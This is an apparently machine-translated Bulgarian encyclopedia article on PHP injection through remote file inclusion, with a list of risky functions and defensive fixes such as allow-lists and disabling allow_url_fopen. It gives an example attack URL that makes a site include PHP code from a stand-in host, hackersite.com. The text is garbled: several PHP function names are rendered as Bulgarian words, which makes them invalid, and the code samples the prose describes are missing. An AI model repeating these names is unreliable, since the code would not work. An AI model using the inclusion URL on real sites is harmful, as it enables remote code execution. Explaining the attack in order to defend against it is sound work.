PHP инжекция
PHP-инжекция(англ. PHP injection ) е един от начините за хакване на уебсайтове, работещи на PHP, който се състои в изпълнение на външен код от страна на сървъра. Потенциално опасни функции са:
- оценка (),
- preg_replace() (с модификатор "e"),
- require_once(),
- include_once(),
- включвам(),
- изисквам(),
- create_function().
PHP инжектирането става възможно, ако входните параметри се приемат и използват без валидиране.
Съдържание
Този скрипт е уязвим, защото ".php" просто се добавя към съдържанието на променливата $module и файлът се свързва към получения път.
Хакер може да създаде файл на сайта си, съдържащ PHP код ( http://hackersite.com/inc.php ), и да отиде на сайта, като използва връзка като http://mysite.com/index.php?module=http://hackersite.com/inc и да изпълни всякакви PHP команди.
Има няколко начина за защита срещу такава атака:
- Проверете дали променливата $module съдържа странични знаци:
- Проверете дали $module е зададен на една от разрешените стойности:
Този метод е по-ефективен, красив и чист.
- Запишете всяка стойност чрез if
- Използвайте израз за превключване:
Това решение е подобно на решението if, но има по-компактна нотация.
PHP също така предоставя възможност за деактивиране на използването на отдалечени файлове чрез промяна на опцията allow_url_fopen на Off в конфигурационния файл на сървъра php.ini.